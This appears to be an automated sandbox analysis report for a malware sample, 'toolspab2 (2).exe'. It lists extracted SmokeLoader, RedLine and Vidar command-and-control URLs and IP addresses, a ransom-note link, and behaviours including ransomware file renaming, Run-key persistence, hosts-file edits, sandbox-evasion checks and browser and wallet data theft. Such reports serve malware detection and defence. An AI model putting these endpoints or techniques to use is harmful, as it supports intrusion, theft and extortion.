Overview
overview
10Static
static
toolspab2 (1).exe
windows7_x64
10toolspab2 (1).exe
windows10_x64
10toolspab2 (10).exe
windows7_x64
10toolspab2 (10).exe
windows10_x64
10toolspab2 (11).exe
windows7_x64
10toolspab2 (11).exe
windows10_x64
10toolspab2 (12).exe
windows7_x64
10toolspab2 (12).exe
windows10_x64
10toolspab2 (13).exe
windows7_x64
10toolspab2 (13).exe
windows10_x64
10toolspab2 (14).exe
windows7_x64
10toolspab2 (14).exe
windows10_x64
10toolspab2 (15).exe
windows7_x64
10toolspab2 (15).exe
windows10_x64
10toolspab2 (16).exe
windows7_x64
10toolspab2 (16).exe
windows10_x64
10toolspab2 (17).exe
windows7_x64
10toolspab2 (17).exe
windows10_x64
10toolspab2 (18).exe
windows7_x64
10toolspab2 (18).exe
windows10_x64
10toolspab2 (19).exe
windows7_x64
10toolspab2 (19).exe
windows10_x64
10toolspab2 (2).exe
windows7_x64
10toolspab2 (2).exe
windows10_x64
10toolspab2 (20).exe
windows7_x64
10toolspab2 (20).exe
windows10_x64
10toolspab2 (21).exe
windows7_x64
10toolspab2 (21).exe
windows10_x64
10toolspab2 (22).exe
windows7_x64
10toolspab2 (22).exe
windows10_x64
10toolspab2 (23).exe
windows7_x64
10toolspab2 (23).exe
windows10_x64
10Resubmissions
12-07-2021 16:55
210712-cvz622xsbj 1010-07-2021 13:25
210710-pdfh7kft96 1009-07-2021 23:00
210709-hewxkm1xlj 1009-07-2021 16:08
210709-5ql27kyjqa 1009-07-2021 14:08
210709-pt977a4bhe 1008-07-2021 22:09
210708-3ypfnj5j7x 1008-07-2021 13:30
210708-4hsk7y9f2x 1008-07-2021 12:14
210708-8t5f9z9egj 10Analysis
-
max time kernel
1799s -
max time network
1785s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
09-07-2021 14:08
Static task
static1
Behavioral task
behavioral1
Sample
toolspab2 (1).exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
toolspab2 (1).exe
Resource
win10v20210410
Behavioral task
behavioral3
Sample
toolspab2 (10).exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
toolspab2 (10).exe
Resource
win10v20210410
Behavioral task
behavioral5
Sample
toolspab2 (11).exe
Resource
win7v20210408
Behavioral task
behavioral6
Sample
toolspab2 (11).exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
toolspab2 (12).exe
Resource
win7v20210408
Behavioral task
behavioral8
Sample
toolspab2 (12).exe
Resource
win10v20210410
Behavioral task
behavioral9
Sample
toolspab2 (13).exe
Resource
win7v20210410
Behavioral task
behavioral10
Sample
toolspab2 (13).exe
Resource
win10v20210408
Behavioral task
behavioral11
Sample
toolspab2 (14).exe
Resource
win7v20210410
Behavioral task
behavioral12
Sample
toolspab2 (14).exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
toolspab2 (15).exe
Resource
win7v20210410
Behavioral task
behavioral14
Sample
toolspab2 (15).exe
Resource
win10v20210408
Behavioral task
behavioral15
Sample
toolspab2 (16).exe
Resource
win7v20210410
Behavioral task
behavioral16
Sample
toolspab2 (16).exe
Resource
win10v20210410
Behavioral task
behavioral17
Sample
toolspab2 (17).exe
Resource
win7v20210408
Behavioral task
behavioral18
Sample
toolspab2 (17).exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
toolspab2 (18).exe
Resource
win7v20210408
Behavioral task
behavioral20
Sample
toolspab2 (18).exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
toolspab2 (19).exe
Resource
win7v20210408
Behavioral task
behavioral22
Sample
toolspab2 (19).exe
Resource
win10v20210410
Behavioral task
behavioral23
Sample
toolspab2 (2).exe
Resource
win7v20210410
Behavioral task
behavioral24
Sample
toolspab2 (2).exe
Resource
win10v20210408
Behavioral task
behavioral25
Sample
toolspab2 (20).exe
Resource
win7v20210410
Behavioral task
behavioral26
Sample
toolspab2 (20).exe
Resource
win10v20210408
Behavioral task
behavioral27
Sample
toolspab2 (21).exe
Resource
win7v20210410
Behavioral task
behavioral28
Sample
toolspab2 (21).exe
Resource
win10v20210408
Behavioral task
behavioral29
Sample
toolspab2 (22).exe
Resource
win7v20210410
Behavioral task
behavioral30
Sample
toolspab2 (22).exe
Resource
win10v20210408
Behavioral task
behavioral31
Sample
toolspab2 (23).exe
Resource
win7v20210410
Behavioral task
behavioral32
Sample
toolspab2 (23).exe
Resource
win10v20210410
General
-
Target
toolspab2 (2).exe
-
Size
315KB
-
MD5
585c257e0b345b762e7cdc407d8f9da2
-
SHA1
ffee403d97b76c3460fc166b9d5ce1205cd216a5
-
SHA256
4a0ecbcf9b54ed1c9654eb9ee214a797f48c980c6d03a261f62fa9671a2733d6
-
SHA512
14d39a6cd1c6d912cae7c35e2a98affcd5a9c1df6b947c42de65344e08d34912b09ccac83f9d8c3213b4e3d555769801e8218cb3f4b970d1d08606ee5a454ba8
Malware Config
Extracted
C:\_readme.txt
https://we.tl/t-mNr1oio2P6
Extracted
smokeloader
2020
http://999080321newfolder1002002131-service1002.space/
http://999080321newfolder1002002231-service1002.space/
http://999080321newfolder3100231-service1002.space/
http://999080321newfolder1002002431-service1002.space/
http://999080321newfolder1002002531-service1002.space/
http://999080321newfolder33417-012425999080321.space/
http://999080321test125831-service10020125999080321.space/
http://999080321test136831-service10020125999080321.space/
http://999080321test147831-service10020125999080321.space/
http://999080321test146831-service10020125999080321.space/
http://999080321test134831-service10020125999080321.space/
http://999080321est213531-service1002012425999080321.ru/
http://999080321yes1t3481-service10020125999080321.ru/
http://999080321test13561-service10020125999080321.su/
http://999080321test14781-service10020125999080321.info/
http://999080321test13461-service10020125999080321.net/
http://999080321test15671-service10020125999080321.tech/
http://999080321test12671-service10020125999080321.online/
http://999080321utest1341-service10020125999080321.ru/
http://999080321uest71-service100201dom25999080321.ru/
http://999080321test61-service10020125999080321.website/
http://999080321test51-service10020125999080321.xyz/
http://999080321test41-service100201pro25999080321.ru/
http://999080321yest31-service100201rus25999080321.ru/
http://999080321rest21-service10020125999080321.eu/
http://999080321test11-service10020125999080321.press/
http://999080321newfolder4561-service10020125999080321.ru/
http://999080321rustest213-service10020125999080321.ru/
http://999080321test281-service10020125999080321.ru/
http://999080321test261-service10020125999080321.space/
http://999080321yomtest251-service10020125999080321.ru/
http://999080321yirtest231-service10020125999080321.ru/
http://nusurtal4f.net/
http://netomishnetojuk.net/
http://escalivrouter.net/
http://nick22doom4.net/
http://wrioshtivsio.su/
http://nusotiso4.su/
http://rickkhtovkka.biz/
http://palisotoliso.net/
Extracted
redline
1
45.32.235.238:45555
Extracted
redline
YTMaloy
87.251.71.125:80
Extracted
metasploit
windows/single_exec
Extracted
redline
82.202.161.37:26317
Extracted
vidar
39.4
517
https://sergeevih43.tumblr.com/
-
profile_id
517
Signatures
-
Glupteba Payload 2 IoCs
resource yara_rule behavioral23/memory/1076-229-0x0000000002910000-0x0000000003236000-memory.dmp family_glupteba behavioral23/memory/1076-234-0x0000000000400000-0x0000000000D41000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 8 IoCs
resource yara_rule behavioral23/memory/1560-85-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral23/memory/1560-86-0x0000000000417E96-mapping.dmp family_redline behavioral23/memory/1560-88-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral23/memory/888-125-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral23/memory/888-126-0x0000000000417E96-mapping.dmp family_redline behavioral23/memory/888-128-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral23/memory/1628-257-0x00000000003D0000-0x00000000003EB000-memory.dmp family_redline behavioral23/memory/1628-261-0x0000000002010000-0x0000000002029000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 1 IoCs
resource yara_rule behavioral23/files/0x000400000001317c-232.dat family_socelars -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Vidar Stealer 4 IoCs
resource yara_rule behavioral23/memory/2532-268-0x0000000000400000-0x00000000004A1000-memory.dmp family_vidar behavioral23/memory/2532-269-0x000000000046B76D-mapping.dmp family_vidar behavioral23/memory/2212-271-0x0000000000530000-0x00000000005CE000-memory.dmp family_vidar behavioral23/memory/2532-272-0x0000000000400000-0x00000000004A1000-memory.dmp family_vidar -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts 134 Vaporeondè_éçè_)))_.exe -
Executes dropped EXE 55 IoCs
pid Process 524 49BD.exe 984 4BA1.exe 1540 A353.exe 672 A7F6.exe 824 AAC4.exe 1560 A353.exe 1644 BCB0.exe 1600 BF40.exe 2008 D531.exe 888 D531.exe 1032 725B.exe 1960 7410.exe 1700 U1PwSASbnJZ1Nt2.eXE 1596 7B71.exe 1352 7B71.tmp 472 725B.exe 1672 134 Vaporeondè_éçè_)))_.exe 1076 9F28.exe 1808 725B.exe 872 B1FD.exe 1628 B548.exe 2084 725B.exe 2212 build2.exe 2352 9F28.exe 2452 cjwdtar 2440 udwdtar 2532 build2.exe 2868 cjwdtar 2948 irecord.exe 2968 irecord.tmp 3016 I-Record.exe 872 Ropyhadyzhi.exe 2064 725B.exe 2548 725B.exe 2428 Puzhedaluxu.exe 880 toolspab1.exe 2436 toolspab1.exe 1512 725B.exe 556 725B.exe 1428 cjwdtar 972 udwdtar 304 cjwdtar 2072 725B.exe 2988 725B.exe 2788 725B.exe 1604 725B.exe 1724 udwdtar 2696 cjwdtar 2216 cjwdtar 2284 725B.exe 616 725B.exe 2316 B9CC.exe 792 BB63.exe 2448 BCEA.exe 2324 0~NM~WIL.eXe -
Modifies extensions of user files 6 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\RenameHide.tiff => C:\Users\Admin\Pictures\RenameHide.tiff.wwka 725B.exe File renamed C:\Users\Admin\Pictures\SplitJoin.tif => C:\Users\Admin\Pictures\SplitJoin.tif.wwka 725B.exe File renamed C:\Users\Admin\Pictures\UnblockSuspend.raw => C:\Users\Admin\Pictures\UnblockSuspend.raw.wwka 725B.exe File renamed C:\Users\Admin\Pictures\UnpublishSync.raw => C:\Users\Admin\Pictures\UnpublishSync.raw.wwka 725B.exe File renamed C:\Users\Admin\Pictures\ReceiveCompare.crw => C:\Users\Admin\Pictures\ReceiveCompare.crw.wwka 725B.exe File opened for modification C:\Users\Admin\Pictures\RenameHide.tiff 725B.exe -
Deletes itself 1 IoCs
pid Process 1208 Process not Found -
Loads dropped DLL 44 IoCs
pid Process 2040 toolspab2 (2).exe 1540 A353.exe 1600 BF40.exe 2008 D531.exe 1696 cmd.exe 1596 7B71.exe 1352 7B71.tmp 1352 7B71.tmp 1352 7B71.tmp 940 regsvr32.exe 1032 725B.exe 1352 7B71.tmp 472 725B.exe 472 725B.exe 1808 725B.exe 2084 725B.exe 2084 725B.exe 2532 build2.exe 2532 build2.exe 2532 build2.exe 2532 build2.exe 2868 cjwdtar 2440 udwdtar 2948 irecord.exe 2968 irecord.tmp 2968 irecord.tmp 2968 irecord.tmp 2968 irecord.tmp 2968 irecord.tmp 3016 I-Record.exe 3016 I-Record.exe 3016 I-Record.exe 3016 I-Record.exe 3016 I-Record.exe 3016 I-Record.exe 3016 I-Record.exe 880 toolspab1.exe 2436 toolspab1.exe 972 udwdtar 304 cjwdtar 2216 cjwdtar 1724 udwdtar 2464 cmd.exe 2288 regsvr32.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 2000 icacls.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Reference Assemblies\\Qapykenuda.exe\"" 134 Vaporeondè_éçè_)))_.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\13431706-ea3d-41a5-8342-ad93aae8bec6\\725B.exe\" --AutoStart" 725B.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 11 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 123 api.2ip.ua 124 api.2ip.ua 198 api.2ip.ua 581 api.2ip.ua 98 checkip.amazonaws.com 149 api.2ip.ua 199 api.2ip.ua 507 api.2ip.ua 605 api.2ip.ua 606 api.2ip.ua 657 api.2ip.ua -
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
pid Process 940 regsvr32.exe 2288 regsvr32.exe -
Suspicious use of SetThreadContext 15 IoCs
description pid Process procid_target PID 1684 set thread context of 2040 1684 toolspab2 (2).exe 29 PID 1540 set thread context of 1560 1540 A353.exe 34 PID 2008 set thread context of 888 2008 D531.exe 42 PID 1032 set thread context of 472 1032 725B.exe 71 PID 1808 set thread context of 2084 1808 725B.exe 82 PID 2212 set thread context of 2532 2212 build2.exe 89 PID 2452 set thread context of 2868 2452 cjwdtar 95 PID 2064 set thread context of 2548 2064 725B.exe 102 PID 880 set thread context of 2436 880 toolspab1.exe 119 PID 1512 set thread context of 556 1512 725B.exe 128 PID 1428 set thread context of 304 1428 cjwdtar 131 PID 2072 set thread context of 2988 2072 725B.exe 137 PID 2788 set thread context of 1604 2788 725B.exe 142 PID 2696 set thread context of 2216 2696 cjwdtar 147 PID 2284 set thread context of 616 2284 725B.exe 149 -
Drops file in Program Files directory 30 IoCs
description ioc Process File created C:\Program Files (x86)\i-record\is-JCRPB.tmp irecord.tmp File created C:\Program Files (x86)\i-record\is-2BBPJ.tmp irecord.tmp File created C:\Program Files (x86)\i-record\is-9270G.tmp irecord.tmp File opened for modification C:\Program Files (x86)\i-record\avutil-51.dll irecord.tmp File opened for modification C:\Program Files (x86)\i-record\avdevice-53.dll irecord.tmp File opened for modification C:\Program Files (x86)\i-record\swscale-2.dll irecord.tmp File created C:\Program Files (x86)\Reference Assemblies\Qapykenuda.exe.config 134 Vaporeondè_éçè_)))_.exe File created C:\Program Files (x86)\i-record\is-C3UUP.tmp irecord.tmp File opened for modification C:\Program Files (x86)\i-record\I-Record.exe irecord.tmp File created C:\Program Files (x86)\i-record\unins000.dat irecord.tmp File opened for modification C:\Program Files (x86)\i-record\swresample-0.dll irecord.tmp File created C:\Program Files (x86)\i-record\is-6UG1J.tmp irecord.tmp File created C:\Program Files (x86)\i-record\is-4MGJ9.tmp irecord.tmp File created C:\Program Files (x86)\i-record\is-GD77C.tmp irecord.tmp File opened for modification C:\Program Files (x86)\i-record\unins000.dat irecord.tmp File opened for modification C:\Program Files (x86)\i-record\AForge.Video.dll irecord.tmp File opened for modification C:\Program Files (x86)\i-record\avformat-53.dll irecord.tmp File created C:\Program Files (x86)\i-record\is-RHT63.tmp irecord.tmp File created C:\Program Files (x86)\i-record\is-A7OUC.tmp irecord.tmp File created C:\Program Files (x86)\i-record\is-JCA51.tmp irecord.tmp File created C:\Program Files\Google\MWKSNMHWZH\irecord.exe 134 Vaporeondè_éçè_)))_.exe File opened for modification C:\Program Files (x86)\i-record\AForge.Video.FFMPEG.dll irecord.tmp File opened for modification C:\Program Files (x86)\i-record\postproc-52.dll irecord.tmp File created C:\Program Files (x86)\i-record\is-8NLUK.tmp irecord.tmp File created C:\Program Files\Google\MWKSNMHWZH\irecord.exe.config 134 Vaporeondè_éçè_)))_.exe File opened for modification C:\Program Files (x86)\i-record\avfilter-2.dll irecord.tmp File created C:\Program Files (x86)\i-record\is-808OI.tmp irecord.tmp File created C:\Program Files (x86)\Reference Assemblies\Qapykenuda.exe 134 Vaporeondè_éçè_)))_.exe File opened for modification C:\Program Files (x86)\i-record\avcodec-53.dll irecord.tmp File created C:\Program Files (x86)\i-record\is-LECAL.tmp irecord.tmp -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 27 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI udwdtar Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI udwdtar Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI BF40.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cjwdtar Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cjwdtar Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI udwdtar Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI BF40.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cjwdtar Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cjwdtar Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab2 (2).exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI BF40.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI udwdtar Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI udwdtar Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cjwdtar Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab2 (2).exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI udwdtar Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI udwdtar Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab2 (2).exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cjwdtar Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cjwdtar Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI udwdtar Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI udwdtar Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cjwdtar Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cjwdtar Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 build2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString build2.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2824 timeout.exe -
Kills process with taskkill 4 IoCs
pid Process 1600 taskkill.exe 1152 taskkill.exe 2784 taskkill.exe 1168 taskkill.exe -
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff00000000000000008604000065020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e136b4311a76a24194ef97ab2534c82c000000000200000000001066000000010000200000003e207322fe8835e186bdcf523ba4cd3d46962d655af5abc61ec586c36ad39d02000000000e8000000002000020000000bdc5420e64e9934b10e52d088f7a121a7846906708de65dfbd0eb37f89f12b45900000008aaab5d9edb3ffbd3056fbc9d0bed21086471d5977dba27356d22e23fbf5a71964a24dd09d4967c35e6c991bcee996709d6cf973a3f0c0e6d422c5993de882095782c2f686f7539c381518f41abb5a31ff74333f0e93f444a498c738c3b9ccf7b5636a8399581c57b2b5705571b169bbc537d491b4bd6d0039ba54aaf4b3ac3b490b108484ca51d5a521a6884801ab2d400000007d32a9842c60c8550322232cb062aa1a3f51b847052334e47ad06ba8cb5d62befbd03bbcba55df457f3d5e4157a9872c24491aeef84de23a8c8ccb19605ebaf9 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.acnav.online IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.acnav.online\ = "18" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "18" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DOMStorage\acnav.online IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DOMStorage IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DOMStorage\acnav.online\NumberOfSubdomains = "1" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DOMStorage\acnav.online\Total = "18" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{B8AC64E1-E0BF-11EB-B85A-F2B989C9245F} = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DOMStorage\acnav.online\Total = "0" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.acnav.online\ = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b0bd5180cc74d701 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff19000000190000009f0400007e020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff5600000000000000dc04000065020000 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff6f00000019000000f50400007e020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "332604935" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created 